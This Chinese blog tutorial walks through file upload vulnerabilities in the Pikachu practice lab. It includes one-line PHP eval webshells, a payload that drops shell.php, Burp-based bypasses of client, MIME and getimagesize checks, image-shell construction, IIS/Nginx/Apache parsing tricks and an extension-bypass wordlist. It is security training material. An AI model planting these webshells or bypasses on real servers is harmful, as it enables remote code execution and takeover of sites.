文件上传漏洞 picachu

一、什么是文件上传漏洞?

网站没有对上传文件进行严格的限制,导致攻击者利用漏洞上传可执行的恶意文件,从而实现攻击目的。

二、文件上传漏洞类型

黑名单绕过:指定文件名不能上传

白名单绕过:指定文件名能上传

解析漏洞

 

 

 

一句话木马

<?php eval($_REQUEST[a]);?>
 
<?php eval($_GET[a]);?>
 
<?php eval($_POST[a]);?> 

一、client check(修改文件后缀) 

上传文件

使用burp抓包改文件后缀

 

使用?a=phpinfo();命令

最后用蚁剑连接即可命令执行

二、MIME type(修改Content-Type类型)

使用brup抓包,上传jpg文件,将Content-Type的内容复制

 

 

 

上传成功

 

最后用蚁剑连接

三、getimagesize(在图片中插入代码) 

制作图片马: 进入cmd,将jpg文件和php文件合并到一起

copy 1.jpg/b + small.php/a 123123.jpg

 使用brup抓包,插入代码可以放在后面,或者中间,不能放在前面

 查看上传成功

进入后台,使用记事本打开,查看插入的代码

三、解析漏洞 

 IIS解析漏洞

1.目录解析漏洞(/test.asp/1.jpg)
 
IIS5.x/6.0 中,*.asp、*.asa、*.cer、*.cdx 的文件夹,其目录内的文件都会被当做asp文件来解释并执行。例如目录 test.asp,则/test.asp/1.jpg 将被当做asp文件来执行。
 
 
 
2.文件名解析漏洞(test.asp;.jpg)
 
在IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。
 
 
 
3.畸形解析漏洞(test.jpg/*.php)
 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>
将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,test.jpg将会被服务器当成php文件执行。
临时解决办法:设置 cgi.fix_pathinfo为0 

Ngnix解析漏洞 

1.畸形解析漏洞(test.jpg/*.php)
nginx<0.8.03
漏洞原因:
· php的配置文件 php.ini 文件中开启了 cgi.fix_pathinfo
· /etc/php5/fpm/pool.d/www.conf中不正确的配置security.limit_extensions,导致允许将其他格式文件作为php解析执行
2.Nginx <0.8.03 空字节代码执行漏洞(xxx.jpg%00.php)
影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
当使用PHP-FastCGI执行PHP时,遇到url里面存在%00空字节时与FastCGI的处理不一致,导致可在非PHP文件中嵌入PHP代码,通过访问url+%00.PHP来执行其中的PHP代码。
例如:"http://127.0.0.1/1.jpg%00.php"会把1.jpg文件(木马文件)当做PHP文件来执行。 

 apache解析漏洞

apache1.x和2.x
 
apache对文件路径从右往左识别,从能识别的后缀开始解析
 
例如 /test.php.php123 由于php123不认识,从.php开始解析
 
apache能解析的拓展名在apache目录下的/conf/mime.types中 

四、文件上传后缀名字典 

php
 
php.
 
php. .
 
php
 
php%00.jpg
 
php2
 
php3
 
php4
 
php5
 
pHp
 
pHp2
 
pHp3
 
pHp4
 
pHp5
 
html
 
htm
 
phtml
 
pht
 
Html
 
Htm
 
pHtml
 
asp
 
aspx
 
asa
 
asax
 
ashx
 
asmx
 
cer
 
aSp
 
aSpx
 
aSa
 
aSax
 
aScx
 
aShx
 
aSmx
 
cEr
 
jsp
 
jspa
 
jspx
 
jsw
 
jxv
 
jspf
 
jtml
 
JSp
 
jSpx
 
jSpa
 
jSw
 
jSv
 
jSpf
 
jHtml
 
asp/test.jpg
 
asp;.jpg
 
cer/test.jpg
 
cer;.jpg
 
asa/test.jpg
 
asa;.jpg
 
aSp/test.jpg
 
aSp;.jpg
 
cEr/test.jpg
 
cEr;.jpg
 
aSa/test.jpg
 
aSa;.jpg
 
jpg/xx.php
 
jpg/xx.pHp
 
jpg/.php
 
jpg/.pHp
 
php.xs.aa
 
php2.aa
 
php3.aa
 
php4.aa
 
php5.aa
 
pHp.aa
 
pHp2.aa
 
pHp3.aa
 
pHp4.aaa
 
pHp5.aa
 
html.aa
 
htm.aa
 
phtml.aa
 
pht.aaa
 
Html.aaa
 
Htm.aa
 
pHtml.aa
 
php::$DATA 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值